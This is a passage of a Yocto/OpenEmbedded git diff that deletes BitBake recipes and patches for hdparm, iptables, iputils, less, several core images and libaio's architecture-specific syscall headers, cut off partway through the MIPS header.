8Upstream-Status: Inappropriate [OE specific]
9
10Signed-off-by: Yi Zhao <yi.zhao@windriver.com>
11---
12 wiper/wiper.sh | 3 +--
13 1 file changed, 1 insertion(+), 2 deletions(-)
14
15diff --git a/wiper/wiper.sh b/wiper/wiper.sh
16index 79eddc8..9ef2840 100755
17--- a/wiper/wiper.sh
18+++ b/wiper/wiper.sh
19@@ -97,7 +97,6 @@ function find_prog(){
20 hash -r ## Refresh bash's cached PATH entries
21 HDPARM=`find_prog /sbin/hdparm` || exit 1
22 FIND=`find_prog /usr/bin/find` || exit 1
23-STAT=`find_prog /usr/bin/stat` || exit 1
24 GAWK=`find_prog /usr/bin/gawk` || exit 1
25 BLKID=`find_prog /sbin/blkid` || exit 1
26 GREP=`find_prog /bin/grep` || exit 1
27@@ -105,7 +104,7 @@ ID=`find_prog /usr/bin/id` || exit 1
28 LS=`find_prog /bin/ls` || exit 1
29 DF=`find_prog /bin/df` || exit 1
30 RM=`find_prog /bin/rm` || exit 1
31-STAT=`find_prog /usr/bin/stat` || exit 1
32+STAT=`find_prog /bin/stat` || exit 1
33
34 [ $verbose -gt 1 ] && HDPARM="$HDPARM --verbose"
35
36--
372.7.4
38
diff --git a/meta/recipes-extended/hdparm/hdparm_9.65.bb b/meta/recipes-extended/hdparm/hdparm_9.65.bb
deleted file mode 100644
index e541d58fa5..0000000000
--- a/meta/recipes-extended/hdparm/hdparm_9.65.bb
+++ /dev/null
@@ -1,42 +0,0 @@
1SUMMARY = "Utility for viewing/manipulating IDE disk drive/driver parameters"
2HOMEPAGE = "http://sourceforge.net/projects/hdparm/"
3DESCRIPTION = "hdparm is a Linux shell utility for viewing \
4and manipulating various IDE drive and driver parameters."
5SECTION = "console/utils"
6
7LICENSE = "BSD-2-Clause & GPL-2.0-only & hdparm"
8LICENSE:${PN} = "BSD-2-Clause & hdparm"
9LICENSE:${PN}-dbg = "BSD-2-Clause & hdparm"
10LICENSE:wiper = "GPL-2.0-only"
11
12LIC_FILES_CHKSUM = "file://LICENSE.TXT;md5=495d03e50dc6c89d6a30107ab0df5b03 \
13 file://debian/copyright;md5=a82d7ba3ade9e8ec902749db98c592f3 \
14 file://wiper/GPLv2.txt;md5=fcb02dc552a041dee27e4b85c7396067 \
15 file://wiper/wiper.sh;beginline=7;endline=31;md5=b7bc642addc152ea307505bf1a296f09"
16
17PACKAGES =+ "wiper"
18
19FILES:wiper = "${bindir}/wiper.sh"
20
21RDEPENDS:wiper = "bash gawk coreutils"
22
23SRC_URI = "${SOURCEFORGE_MIRROR}/hdparm/${BP}.tar.gz \
24 file://wiper.sh-fix-stat-path.patch \
25 "
26
27SRC_URI[sha256sum] = "d14929f910d060932e717e9382425d47c2e7144235a53713d55a94f7de535a4b"
28UPSTREAM_CHECK_URI = "https://sourceforge.net/projects/hdparm/files/hdparm/"
29
30EXTRA_OEMAKE = 'STRIP="echo" LDFLAGS="${LDFLAGS}"'
31
32inherit update-alternatives
33
34ALTERNATIVE:${PN} = "hdparm"
35ALTERNATIVE_LINK_NAME[hdparm] = "${base_sbindir}/hdparm"
36ALTERNATIVE_PRIORITY = "100"
37
38do_install () {
39 install -d ${D}/${base_sbindir} ${D}/${mandir}/man8 ${D}/${bindir}
40 oe_runmake 'DESTDIR=${D}' 'sbindir=${base_sbindir}' install
41 cp ${S}/wiper/wiper.sh ${D}/${bindir}
42}
diff --git a/meta/recipes-extended/images/core-image-full-cmdline.bb b/meta/recipes-extended/images/core-image-full-cmdline.bb
deleted file mode 100644
index b034cd0aeb..0000000000
--- a/meta/recipes-extended/images/core-image-full-cmdline.bb
+++ /dev/null
@@ -1,12 +0,0 @@
1SUMMARY = "A console-only image with more full-featured Linux system \
2functionality installed."
3
4IMAGE_FEATURES += "splash ssh-server-openssh package-management"
5
6IMAGE_INSTALL = "\
7 packagegroup-core-boot \
8 packagegroup-core-full-cmdline \
9 ${CORE_IMAGE_EXTRA_INSTALL} \
10 "
11
12inherit core-image
diff --git a/meta/recipes-extended/images/core-image-kernel-dev.bb b/meta/recipes-extended/images/core-image-kernel-dev.bb
deleted file mode 100644
index 4018af7a3a..0000000000
--- a/meta/recipes-extended/images/core-image-kernel-dev.bb
+++ /dev/null
@@ -1,23 +0,0 @@
1DESCRIPTION = "A development image that builds the kernel and packages that are \
2sensitive to kernel updates and version changes"
3
4# Could also be core-image-basic, but we'll keep this small for now
5require recipes-core/images/core-image-minimal.bb
6
7KERNEL_DEV_UTILS ?= "dropbear connman"
8KERNEL_DEV_TOOLS ?= "packagegroup-core-tools-profile packagegroup-core-buildessential kernel-devsrc"
9KERNEL_DEV_MODULE ?= "kernel-modules"
10
11CORE_IMAGE_EXTRA_INSTALL += "${KERNEL_DEV_MODULE} \
12 ${KERNEL_DEV_UTILS} \
13 ${KERNEL_DEV_TOOLS} \
14 systemtap \
15 "
16
17# We need extra space for things like kernel builds, etc.
18IMAGE_ROOTFS_EXTRA_SPACE:append = " + 3000000"
19
20# Let's define our own subset to test, we can later add a on-target kernel build even!
21DEFAULT_TEST_SUITES = "ping ssh df connman syslog scp date parselogs"
22
23IMAGE_FEATURES += "tools-profile"
diff --git a/meta/recipes-extended/images/core-image-testcontroller-initramfs.bb b/meta/recipes-extended/images/core-image-testcontroller-initramfs.bb
deleted file mode 100644
index 3b81afd7c0..0000000000
--- a/meta/recipes-extended/images/core-image-testcontroller-initramfs.bb
+++ /dev/null
@@ -1,23 +0,0 @@
1SUMMARY = "Small image capable of booting a device with custom install scripts, \
2adding a second rootfs, used for testing."
3
4# use -testfs live-install scripts
5PACKAGE_INSTALL = "initramfs-live-boot initramfs-live-install-testfs initramfs-live-install-efi-testfs busybox udev base-passwd ${ROOTFS_BOOTSTRAP_INSTALL}"
6
7# Do not pollute the initrd image with rootfs features
8IMAGE_FEATURES = ""
9
10IMAGE_NAME_SUFFIX ?= ""
11IMAGE_LINGUAS = ""
12
13LICENSE = "MIT"
14
15IMAGE_FSTYPES = "${INITRAMFS_FSTYPES}"
16inherit core-image
17
18IMAGE_ROOTFS_SIZE = "8192"
19IMAGE_ROOTFS_EXTRA_SPACE = "0"
20BAD_RECOMMENDATIONS += "busybox-syslog"
21
22# Use the same restriction as initramfs-live-install-testfs
23COMPATIBLE_HOST = "(i.86|x86_64).*-linux"
diff --git a/meta/recipes-extended/images/core-image-testcontroller.bb b/meta/recipes-extended/images/core-image-testcontroller.bb
deleted file mode 100644
index ff79bde0c5..0000000000
--- a/meta/recipes-extended/images/core-image-testcontroller.bb
+++ /dev/null
@@ -1,18 +0,0 @@
1SUMMARY = "A test controller image to be deployed on a target useful for testing other images using the OEQA runtime tests"
2
3IMAGE_FEATURES += "ssh-server-openssh package-management"
4
5inherit core-image
6
7# the deploy code requires bash and
8# normal linux utilities not busybox ones
9IMAGE_INSTALL += "\
10 bash coreutils util-linux tar gzip bzip2 kmod \
11 python3-modules python3-misc \
12 e2fsprogs e2fsprogs-mke2fs parted \
13 "
14# we need a particular initramfs for live images
15# that pulls custom install scripts which take
16# care of partitioning for us
17INITRD_IMAGE = "core-image-testcontroller-initramfs"
18
diff --git a/meta/recipes-extended/iptables/iptables/ip6tables.rules b/meta/recipes-extended/iptables/iptables/ip6tables.rules
deleted file mode 100644
index e69de29bb2..0000000000
--- a/meta/recipes-extended/iptables/iptables/ip6tables.rules
+++ /dev/null
diff --git a/meta/recipes-extended/iptables/iptables/ip6tables.service b/meta/recipes-extended/iptables/iptables/ip6tables.service
deleted file mode 100644
index 6c059fca49..0000000000
--- a/meta/recipes-extended/iptables/iptables/ip6tables.service
+++ /dev/null
@@ -1,13 +0,0 @@
1[Unit]
2Description=IPv6 Packet Filtering Framework
3Before=network-pre.target
4Wants=network-pre.target
5
6[Service]
7Type=oneshot
8ExecStart=@SBINDIR@/ip6tables-restore -w -- @RULESDIR@/ip6tables.rules
9ExecReload=@SBINDIR@/ip6tables-restore -w -- @RULESDIR@/ip6tables.rules
10RemainAfterExit=yes
11
12[Install]
13WantedBy=multi-user.target
diff --git a/meta/recipes-extended/iptables/iptables/iptables.rules b/meta/recipes-extended/iptables/iptables/iptables.rules
deleted file mode 100644
index e69de29bb2..0000000000
--- a/meta/recipes-extended/iptables/iptables/iptables.rules
+++ /dev/null
diff --git a/meta/recipes-extended/iptables/iptables/iptables.service b/meta/recipes-extended/iptables/iptables/iptables.service
deleted file mode 100644
index 0eb3c343de..0000000000
--- a/meta/recipes-extended/iptables/iptables/iptables.service
+++ /dev/null
@@ -1,13 +0,0 @@
1[Unit]
2Description=IPv4 Packet Filtering Framework
3Before=network-pre.target
4Wants=network-pre.target
5
6[Service]
7Type=oneshot
8ExecStart=@SBINDIR@/iptables-restore -w -- @RULESDIR@/iptables.rules
9ExecReload=@SBINDIR@/iptables-restore -w -- @RULESDIR@/iptables.rules
10RemainAfterExit=yes
11
12[Install]
13WantedBy=multi-user.target
diff --git a/meta/recipes-extended/iptables/iptables_1.8.11.bb b/meta/recipes-extended/iptables/iptables_1.8.11.bb
deleted file mode 100644
index 686dc5afe5..0000000000
--- a/meta/recipes-extended/iptables/iptables_1.8.11.bb
+++ /dev/null
@@ -1,124 +0,0 @@
1SUMMARY = "Tools for managing kernel packet filtering capabilities"
2DESCRIPTION = "iptables is the userspace command line program used to configure and control network packet \
3filtering code in Linux."
4HOMEPAGE = "http://www.netfilter.org/"
5BUGTRACKER = "http://bugzilla.netfilter.org/"
6LICENSE = "GPL-2.0-or-later"
7LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
8 file://iptables/iptables.c;beginline=13;endline=25;md5=c5cffd09974558cf27d0f763df2a12dc \
9"
10
11SRC_URI = "http://netfilter.org/projects/iptables/files/iptables-${PV}.tar.xz \
12 file://iptables.service \
13 file://iptables.rules \
14 file://ip6tables.service \
15 file://ip6tables.rules \
16 "
17SRC_URI[sha256sum] = "d87303d55ef8c92bcad4dd3f978b26d272013642b029425775f5bad1009fe7b2"
18
19SYSTEMD_SERVICE:${PN} = "\
20 iptables.service \
21 ${@bb.utils.contains('PACKAGECONFIG', 'ipv6', 'ip6tables.service', '', d)} \
22"
23
24inherit autotools pkgconfig systemd
25
26EXTRA_OECONF = "--with-kernel=${STAGING_INCDIR}"
27
28CFLAGS:append:libc-musl = " -D__UAPI_DEF_ETHHDR=0"
29
30PACKAGECONFIG ?= "${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)}"
31PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6,"
32
33# libnfnetlink recipe is in meta-networking layer
34PACKAGECONFIG[libnfnetlink] = "--enable-libnfnetlink --enable-connlabel,--disable-libnfnetlink --disable-connlabel,libnfnetlink libnetfilter-conntrack"
35
36# libnftnl recipe is in meta-networking layer(previously known as libnftables)
37PACKAGECONFIG[libnftnl] = "--enable-nftables,--disable-nftables,libnftnl"
38
39do_configure:prepend() {
40 # Remove some libtool m4 files
41 # Keep ax_check_linker_flags.m4 which belongs to autoconf-archive.
42 rm -f libtool.m4 lt~obsolete.m4 ltoptions.m4 ltsugar.m4 ltversion.m4
43
44 # Copy a header to fix out of tree builds
45 cp -f ${S}/libiptc/linux_list.h ${S}/include/libiptc/
46}
47
48IPTABLES_RULES_DIR ?= "${sysconfdir}/${BPN}"
49
50do_install:append() {
51 install -d ${D}${IPTABLES_RULES_DIR}
52 install -m 0644 ${UNPACKDIR}/iptables.rules ${D}${IPTABLES_RULES_DIR}
53
54 install -d ${D}${systemd_system_unitdir}
55 install -m 0644 ${UNPACKDIR}/iptables.service ${D}${systemd_system_unitdir}
56
57 sed -i \
58 -e 's,@SBINDIR@,${sbindir},g' \
59 -e 's,@RULESDIR@,${IPTABLES_RULES_DIR},g' \
60 ${D}${systemd_system_unitdir}/iptables.service
61
62 if ${@bb.utils.contains('PACKAGECONFIG', 'ipv6', 'true', 'false', d)} ; then
63 install -m 0644 ${UNPACKDIR}/ip6tables.rules ${D}${IPTABLES_RULES_DIR}
64 install -m 0644 ${UNPACKDIR}/ip6tables.service ${D}${systemd_system_unitdir}
65
66 sed -i \
67 -e 's,@SBINDIR@,${sbindir},g' \
68 -e 's,@RULESDIR@,${IPTABLES_RULES_DIR},g' \
69 ${D}${systemd_system_unitdir}/ip6tables.service
70 fi
71
72 # if libnftnl is included, make the iptables symlink point to the nft-based binary by default
73 if ${@bb.utils.contains('PACKAGECONFIG', 'libnftnl', 'true', 'false', d)} ; then
74 ln -sf ${sbindir}/xtables-nft-multi ${D}${sbindir}/iptables
75 ln -sf ${sbindir}/xtables-nft-multi ${D}${sbindir}/iptables-save
76 ln -sf ${sbindir}/xtables-nft-multi ${D}${sbindir}/iptables-restore
77 # ethertypes is provided by the netbase package
78 rm -f ${D}${sysconfdir}/ethertypes
79 fi
80}
81
82PACKAGES =+ "${PN}-modules ${PN}-apply"
83PACKAGES_DYNAMIC += "^${PN}-module-.*"
84
85python populate_packages:prepend() {
86 modules = do_split_packages(d, '${libdir}/xtables', r'lib(.*)\.so$', '${PN}-module-%s', '${PN} module %s', extra_depends='')
87 if modules:
88 metapkg = d.getVar('PN') + '-modules'
89 d.appendVar('RDEPENDS:' + metapkg, ' ' + ' '.join(modules))
90}
91
92RDEPENDS:${PN} = "${PN}-module-xt-standard"
93RRECOMMENDS:${PN} = " \
94 ${PN}-modules \
95 kernel-module-x-tables \
96 kernel-module-ip-tables \
97 kernel-module-iptable-filter \
98 kernel-module-iptable-nat \
99 kernel-module-nf-defrag-ipv4 \
100 kernel-module-nf-conntrack \
101 kernel-module-nf-conntrack-ipv4 \
102 kernel-module-nf-nat \
103 kernel-module-ipt-masquerade \
104 ${@bb.utils.contains('PACKAGECONFIG', 'ipv6', '\
105 kernel-module-ip6table-filter \
106 kernel-module-ip6-tables \
107 ', '', d)} \
108"
109
110FILES:${PN} += "${datadir}/xtables"
111
112FILES:${PN}-apply = "${sbindir}/ip*-apply"
113RDEPENDS:${PN}-apply = "${PN} bash"
114
115# Include the symlinks as well in respective packages
116FILES:${PN}-module-xt-conntrack += "${libdir}/xtables/libxt_state.so"
117FILES:${PN}-module-xt-ct += "${libdir}/xtables/libxt_NOTRACK.so ${libdir}/xtables/libxt_REDIRECT.so"
118FILES:${PN}-module-xt-nat += "${libdir}/xtables/libxt_SNAT.so ${libdir}/xtables/libxt_DNAT.so ${libdir}/xtables/libxt_MASQUERADE.so"
119
120ALLOW_EMPTY:${PN}-modules = "1"
121
122INSANE_SKIP:${PN}-module-xt-conntrack = "dev-so"
123INSANE_SKIP:${PN}-module-xt-ct = "dev-so"
124INSANE_SKIP:${PN}-module-xt-nat = "dev-so"
diff --git a/meta/recipes-extended/iputils/iputils_20250605.bb b/meta/recipes-extended/iputils/iputils_20250605.bb
deleted file mode 100644
index 31eb51e56d..0000000000
--- a/meta/recipes-extended/iputils/iputils_20250605.bb
+++ /dev/null
@@ -1,57 +0,0 @@
1SUMMARY = "Network monitoring tools"
2DESCRIPTION = "Utilities for the IP protocol, including \
3tracepath, tracepath6, ping, ping6 and arping."
4HOMEPAGE = "https://github.com/iputils/iputils"
5SECTION = "console/network"
6
7LICENSE = "BSD-3-Clause & GPL-2.0-or-later"
8
9LIC_FILES_CHKSUM = "file://LICENSE;md5=627cc07ec86a45951d43e30658bbd819"
10
11SRC_URI = "git://github.com/iputils/iputils;branch=master;protocol=https \
12 "
13SRCREV = "6e1cb146547eb6fbb127ffc8397a9241be0d33c2"
14
15UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>20\d+)"
16
17# these currently don't show up in CVE metrics for FKIE (as 2000 is not covered by it), but they would show for NVD2
18CVE_STATUS[CVE-2000-1213] = "fixed-version: Fixed in 2000-10-10, but the versioning of iputils breaks the version order."
19CVE_STATUS[CVE-2000-1214] = "fixed-version: Fixed in 2000-10-10, but the versioning of iputils breaks the version order."
20
21PACKAGECONFIG ??= "libcap"
22PACKAGECONFIG[libcap] = "-DUSE_CAP=true, -DUSE_CAP=false -DNO_SETCAP_OR_SUID=true, libcap libcap-native"
23PACKAGECONFIG[libidn] = "-DUSE_IDN=true, -DUSE_IDN=false, libidn2"
24PACKAGECONFIG[gettext] = "-DUSE_GETTEXT=true, -DUSE_GETTEXT=false, gettext"
25PACKAGECONFIG[docs] = "-DBUILD_HTML_MANS=true -DBUILD_MANS=true,-DBUILD_HTML_MANS=false -DBUILD_MANS=false, libxslt"
26
27inherit meson update-alternatives pkgconfig
28
29EXTRA_OEMESON += "--prefix=${root_prefix}/ -DSKIP_TESTS=true"
30
31ALTERNATIVE_PRIORITY = "100"
32
33ALTERNATIVE:${PN}-ping = "ping"
34ALTERNATIVE_LINK_NAME[ping] = "${base_bindir}/ping"
35
36ALTERNATIVE:${PN}-ping6 = "ping6"
37ALTERNATIVE_LINK_NAME[ping6] = "${base_bindir}/ping6"
38
39SPLITPKGS = "${PN}-ping ${PN}-arping ${PN}-tracepath ${PN}-clockdiff \
40 ${@bb.utils.contains('DISTRO_FEATURES', 'ipv6', '${PN}-ping6', '', d)}"
41PACKAGES += "${SPLITPKGS}"
42
43ALLOW_EMPTY:${PN} = "1"
44RDEPENDS:${PN} += "${SPLITPKGS}"
45
46FILES:${PN} = ""
47FILES:${PN}-ping = "${base_bindir}/ping.${BPN}"
48FILES:${PN}-ping6 = "${base_bindir}/ping6.${BPN}"
49FILES:${PN}-arping = "${base_bindir}/arping"
50FILES:${PN}-tracepath = "${base_bindir}/tracepath"
51FILES:${PN}-clockdiff = "${base_bindir}/clockdiff"
52
53do_install:append() {
54 if ${@bb.utils.contains('DISTRO_FEATURES', 'ipv6', 'true', 'false', d)}; then
55 ln -sf ping ${D}/${base_bindir}/ping6
56 fi
57}
diff --git a/meta/recipes-extended/less/files/run-ptest b/meta/recipes-extended/less/files/run-ptest
deleted file mode 100644
index 42a2869c84..0000000000
--- a/meta/recipes-extended/less/files/run-ptest
+++ /dev/null
@@ -1,3 +0,0 @@
1#! /bin/sh
2
3./runtest -l /usr/bin/less -t lesstest -O d lt/*
diff --git a/meta/recipes-extended/less/less_679.bb b/meta/recipes-extended/less/less_679.bb
deleted file mode 100644
index 613c71f571..0000000000
--- a/meta/recipes-extended/less/less_679.bb
+++ /dev/null
@@ -1,61 +0,0 @@
1SUMMARY = "Text file viewer similar to more"
2DESCRIPTION = "Less is a program similar to more, i.e. a terminal \
3based program for viewing text files and the output from other \
4programs. Less offers many features beyond those that more does."
5HOMEPAGE = "http://www.greenwoodsoftware.com/"
6SECTION = "console/utils"
7
8# (GPL-2.0-or-later (<< 418), GPL-3.0-or-later (>= 418)) | less
9# Including email author giving permissing to use BSD
10#
11# From: Mark Nudelman <markn@greenwoodsoftware.com>
12# To: Elizabeth Flanagan <elizabeth.flanagan@intel.com
13# Date: 12/19/11
14#
15# Hi Elizabeth,
16# Using a generic BSD license for less is fine with me.
17# Thanks,
18#
19# --Mark
20#
21
22LICENSE = "GPL-3.0-or-later | BSD-2-Clause"
23LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464 \
24 file://LICENSE;md5=8051a271adb36d1462531a3b40c22878 \
25 "
26DEPENDS = "ncurses"
27
28SRC_URI = "http://www.greenwoodsoftware.com/${BPN}/${BPN}-${PV}.tar.gz \
29 file://run-ptest \
30 "
31
32SRC_URI[sha256sum] = "9b68820c34fa8a0af6b0e01b74f0298bcdd40a0489c61649b47058908a153d78"
33
34UPSTREAM_CHECK_URI = "http://www.greenwoodsoftware.com/less/download.html"
35
36inherit autotools ptest update-alternatives
37
38EXTRA_OEMAKE += " LESSTEST=1"
39
40inherit autotools update-alternatives
41
42do_compile_ptest () {
43 cd ${S}/lesstest
44 oe_runmake
45}
46
47do_install () {
48 oe_runmake 'bindir=${D}${bindir}' 'mandir=${D}${mandir}' install
49}
50
51do_install_ptest () {
52 cp ${S}/lesstest/lesstest ${D}${PTEST_PATH}
53 cp ${S}/lesstest/runtest ${D}${PTEST_PATH}
54 cp ${S}/lesstest/lt_screen ${D}${PTEST_PATH}
55 cp -r ${S}/lesstest/lt ${D}${PTEST_PATH}
56}
57
58RDEPENDS:${PN}-ptest:append = " perl-module-getopt-std perl-module-cwd perl-module-file-basename locale-base-en-us"
59
60ALTERNATIVE:${PN} = "less"
61ALTERNATIVE_PRIORITY = "100"
diff --git a/meta/recipes-extended/libaio/libaio/00_arches.patch b/meta/recipes-extended/libaio/libaio/00_arches.patch
deleted file mode 100644
index 18c8c546c1..0000000000
--- a/meta/recipes-extended/libaio/libaio/00_arches.patch
+++ /dev/null
@@ -1,501 +0,0 @@
1From 546f2708ffa1aa44018be65172013289cf896710 Mon Sep 17 00:00:00 2001
2From: Qing He <qing.he@intel.com>
3Date: Fri, 27 Aug 2010 10:15:31 +0800
4Subject: [PATCH] libaio: add new recipe
5
6Upstream-Status: Inappropriate [embedded specific]
7
8from openembedded, added by Qing He <qing.he@intel.com>
9
10---
11 src/syscall-m68k.h | 78 +++++++++++++++
12 src/syscall-mips.h | 223 +++++++++++++++++++++++++++++++++++++++++++
13 src/syscall-parisc.h | 146 ++++++++++++++++++++++++++++
14 src/syscall.h | 6 ++
15 4 files changed, 453 insertions(+)
16 create mode 100644 src/syscall-m68k.h
17 create mode 100644 src/syscall-mips.h
18 create mode 100644 src/syscall-parisc.h
19
20diff --git a/src/syscall-m68k.h b/src/syscall-m68k.h
21new file mode 100644
22index 0000000..f440412
23--- /dev/null
24+++ b/src/syscall-m68k.h
25@@ -0,0 +1,78 @@
26+#define __NR_io_setup 241
27+#define __NR_io_destroy 242
28+#define __NR_io_getevents 243
29+#define __NR_io_submit 244
30+#define __NR_io_cancel 245
31+
32+#define io_syscall1(type,fname,sname,atype,a) \
33+type fname(atype a) \
34+{ \
35+register long __res __asm__ ("%d0") = __NR_##sname; \
36+register long __a __asm__ ("%d1") = (long)(a); \
37+__asm__ __volatile__ ("trap #0" \
38+ : "+d" (__res) \
39+ : "d" (__a) ); \
40+return (type) __res; \
41+}
42+
43+#define io_syscall2(type,fname,sname,atype,a,btype,b) \
44+type fname(atype a,btype b) \
45+{ \
46+register long __res __asm__ ("%d0") = __NR_##sname; \
47+register long __a __asm__ ("%d1") = (long)(a); \
48+register long __b __asm__ ("%d2") = (long)(b); \
49+__asm__ __volatile__ ("trap #0" \
50+ : "+d" (__res) \
51+ : "d" (__a), "d" (__b) \
52+ ); \
53+return (type) __res; \
54+}
55+
56+#define io_syscall3(type,fname,sname,atype,a,btype,b,ctype,c) \
57+type fname(atype a,btype b,ctype c) \
58+{ \
59+register long __res __asm__ ("%d0") = __NR_##sname; \
60+register long __a __asm__ ("%d1") = (long)(a); \
61+register long __b __asm__ ("%d2") = (long)(b); \
62+register long __c __asm__ ("%d3") = (long)(c); \
63+__asm__ __volatile__ ("trap #0" \
64+ : "+d" (__res) \
65+ : "d" (__a), "d" (__b), \
66+ "d" (__c) \
67+ ); \
68+return (type) __res; \
69+}
70+
71+#define io_syscall4(type,fname,sname,atype,a,btype,b,ctype,c,dtype,d) \
72+type fname (atype a, btype b, ctype c, dtype d) \
73+{ \
74+register long __res __asm__ ("%d0") = __NR_##sname; \
75+register long __a __asm__ ("%d1") = (long)(a); \
76+register long __b __asm__ ("%d2") = (long)(b); \
77+register long __c __asm__ ("%d3") = (long)(c); \
78+register long __d __asm__ ("%d4") = (long)(d); \
79+__asm__ __volatile__ ("trap #0" \
80+ : "+d" (__res) \
81+ : "d" (__a), "d" (__b), \
82+ "d" (__c), "d" (__d) \
83+ ); \
84+return (type) __res; \
85+}
86+
87+#define io_syscall5(type,fname,sname,atype,a,btype,b,ctype,c,dtype,d,etype,e) \
88+type fname (atype a,btype b,ctype c,dtype d,etype e) \
89+{ \
90+register long __res __asm__ ("%d0") = __NR_##sname; \
91+register long __a __asm__ ("%d1") = (long)(a); \
92+register long __b __asm__ ("%d2") = (long)(b); \
93+register long __c __asm__ ("%d3") = (long)(c); \
94+register long __d __asm__ ("%d4") = (long)(d); \
95+register long __e __asm__ ("%d5") = (long)(e); \
96+__asm__ __volatile__ ("trap #0" \
97+ : "+d" (__res) \
98+ : "d" (__a), "d" (__b), \
99+ "d" (__c), "d" (__d), "d" (__e) \
100+ ); \
101+return (type) __res; \
102+}
103+
104diff --git a/src/syscall-mips.h b/src/syscall-mips.h
105new file mode 100644
106index 0000000..4142499
107--- /dev/null
108+++ b/src/syscall-mips.h
109@@ -0,0 +1,223 @@
110+/*
111+ * This file is subject to the terms and conditions of the GNU General Public
112+ * License. See the file "COPYING" in the main directory of this archive
113+ * for more details.
114+ *
115+ * Copyright (C) 1995, 96, 97, 98, 99, 2000 by Ralf Baechle
116+ * Copyright (C) 1999, 2000 Silicon Graphics, Inc.
117+ *
118+ * Changed system calls macros _syscall5 - _syscall7 to push args 5 to 7 onto
119+ * the stack. Robin Farine for ACN S.A, Copyright (C) 1996 by ACN S.A
120+ */
121+
122+#ifndef _MIPS_SIM_ABI32
123+#define _MIPS_SIM_ABI32 1
124+#define _MIPS_SIM_NABI32 2
125+#define _MIPS_SIM_ABI64 3
126+#endif
127+
128+#if _MIPS_SIM == _MIPS_SIM_ABI32
129+
130+/*
131+ * Linux o32 style syscalls are in the range from 4000 to 4999.
132+ */
133+#define __NR_Linux 4000
134+#define __NR_io_setup (__NR_Linux + 241)
135+#define __NR_io_destroy (__NR_Linux + 242)
136+#define __NR_io_getevents (__NR_Linux + 243)
137+#define __NR_io_submit (__NR_Linux + 244)
138+#define __NR_io_cancel (__NR_Linux + 245)
139+
140+#endif /* _MIPS_SIM == _MIPS_SIM_ABI32 */
141+
142+#if _MIPS_SIM == _MIPS_SIM_ABI64
143+
144+/*
145+ * Linux 64-bit syscalls are in the range from 5000 to 5999.
146+ */
147+#define __NR_Linux 5000
148+#define __NR_io_setup (__NR_Linux + 200)
149+#define __NR_io_destroy (__NR_Linux + 201)
150+#define __NR_io_getevents (__NR_Linux + 202)
151+#define __NR_io_submit (__NR_Linux + 203)
152+#define __NR_io_cancel (__NR_Linux + 204)
153+#endif /* _MIPS_SIM == _MIPS_SIM_ABI64 */
154+
155+#if _MIPS_SIM == _MIPS_SIM_NABI32
156+
157+/*
158+ * Linux N32 syscalls are in the range from 6000 to 6999.
159+ */
160+#define __NR_Linux 6000
161+#define __NR_io_setup (__NR_Linux + 200)
162+#define __NR_io_destroy (__NR_Linux + 201)
163+#define __NR_io_getevents (__NR_Linux + 202)
164+#define __NR_io_submit (__NR_Linux + 203)
165+#define __NR_io_cancel (__NR_Linux + 204)
166+#endif /* _MIPS_SIM == _MIPS_SIM_NABI32 */
167+
168+#define io_syscall1(type,fname,sname,atype,a) \
169+type fname(atype a) \
170+{ \
171+ register unsigned long __a0 asm("$4") = (unsigned long) a; \
172+ register unsigned long __a3 asm("$7"); \
173+ unsigned long __v0; \
174+ \
175+ __asm__ volatile ( \
176+ ".set\tnoreorder\n\t" \
177+ "li\t$2, %3\t\t\t# " #fname "\n\t" \
178+ "syscall\n\t" \
179+ "move\t%0, $2\n\t" \
180+ ".set\treorder" \
181+ : "=&r" (__v0), "=r" (__a3) \
182+ : "r" (__a0), "i" (__NR_##sname) \
183+ : "$2", "$8", "$9", "$10", "$11", "$12", "$13", "$14", "$15", "$24", \
184+ "memory"); \
185+ \
186+ if (__a3 == 0) \
187+ return (type) __v0; \
188+ return (type) -1; \
189+}
190+
191+#define io_syscall2(type,fname,sname,atype,a,btype,b) \
192+type fname(atype a, btype b) \
193+{ \
194+ register unsigned long __a0 asm("$4") = (unsigned long) a; \
195+ register unsigned long __a1 asm("$5") = (unsigned long) b; \
196+ register unsigned long __a3 asm("$7"); \
197+ unsigned long __v0; \
198+ \
199+ __asm__ volatile ( \
200+ ".set\tnoreorder\n\t" \
201+ "li\t$2, %4\t\t\t# " #fname "\n\t" \
202+ "syscall\n\t" \
203+ "move\t%0, $2\n\t" \
204+ ".set\treorder" \
205+ : "=&r" (__v0), "=r" (__a3) \
206+ : "r" (__a0), "r" (__a1), "i" (__NR_##sname) \
207+ : "$2", "$8", "$9", "$10", "$11", "$12", "$13", "$14", "$15", "$24", \
208+ "memory"); \
209+ \
210+ if (__a3 == 0) \
211+ return (type) __v0; \
212+ return (type) -1; \
213+}
214+
215+#define io_syscall3(type,fname,sname,atype,a,btype,b,ctype,c) \
216+type fname(atype a, btype b, ctype c) \
217+{ \
218+ register unsigned long __a0 asm("$4") = (unsigned long) a; \
219+ register unsigned long __a1 asm("$5") = (unsigned long) b; \
220+ register unsigned long __a2 asm("$6") = (unsigned long) c; \
221+ register unsigned long __a3 asm("$7"); \
222+ unsigned long __v0; \
223+ \
224+ __asm__ volatile ( \
225+ ".set\tnoreorder\n\t" \
226+ "li\t$2, %5\t\t\t# " #fname "\n\t" \
227+ "syscall\n\t" \
228+ "move\t%0, $2\n\t" \
229+ ".set\treorder" \
230+ : "=&r" (__v0), "=r" (__a3) \
231+ : "r" (__a0), "r" (__a1), "r" (__a2), "i" (__NR_##sname) \
232+ : "$2", "$8", "$9", "$10", "$11", "$12", "$13", "$14", "$15", "$24", \
233+ "memory"); \
234+ \
235+ if (__a3 == 0) \
236+ return (type) __v0; \
237+ return (type) -1; \
238+}
239+
240+#define io_syscall4(type,fname,sname,atype,a,btype,b,ctype,c,dtype,d) \
241+type fname(atype a, btype b, ctype c, dtype d) \
242+{ \
243+ register unsigned long __a0 asm("$4") = (unsigned long) a; \
244+ register unsigned long __a1 asm("$5") = (unsigned long) b; \
245+ register unsigned long __a2 asm("$6") = (unsigned long) c; \
246+ register unsigned long __a3 asm("$7") = (unsigned long) d; \
247+ unsigned long __v0; \
248+ \
249+ __asm__ volatile ( \
250+ ".set\tnoreorder\n\t" \
251+ "li\t$2, %5\t\t\t# " #fname "\n\t" \
252+ "syscall\n\t" \
